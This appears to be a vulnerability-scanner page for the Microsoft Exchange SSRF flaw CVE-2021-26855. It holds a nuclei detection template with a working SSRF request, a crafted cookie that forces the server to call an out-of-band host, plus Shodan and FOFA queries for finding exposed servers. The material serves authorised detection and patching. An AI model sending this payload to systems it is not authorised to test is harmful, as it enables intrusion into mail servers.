Microsoft Exchange Server SSRF Vulnerability

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.1CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or further compromise of the affected system.

Fix

Apply the appropriate security update.

How to confirm it

Send: GET /owa/auth/x.js
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2021-26855 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-26855

info:
  name: Microsoft Exchange Server SSRF Vulnerability
  author: madrobot
  severity: critical
  description: This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or further compromise of the affected system.
  remediation: Apply the appropriate security update.
  reference:
    - https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
    - https://proxylogon.com/#timeline
    - https://web.archive.org/web/20210306113850/https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
    - https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-26855
    cwe-id: CWE-918
    epss-score: 0.99996
    epss-percentile: 0.99989
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_21:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
    shodan-query:
      - vuln:CVE-2021-26855
      - http.favicon.hash:1768726119
      - http.title:"outlook"
      - cpe:"cpe:2.3:a:microsoft:exchange_server"
    fofa-query:
      - title="outlook"
      - icon_hash=1768726119
    google-query: intitle:"outlook"
  tags: cve2021,cve,ssrf,rce,exchange,oast,microsoft,kev,vkev,vuln

http:
  - raw:
      - |
        GET /owa/auth/x.js HTTP/1.1
        Host: {{Hostname}}
        Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from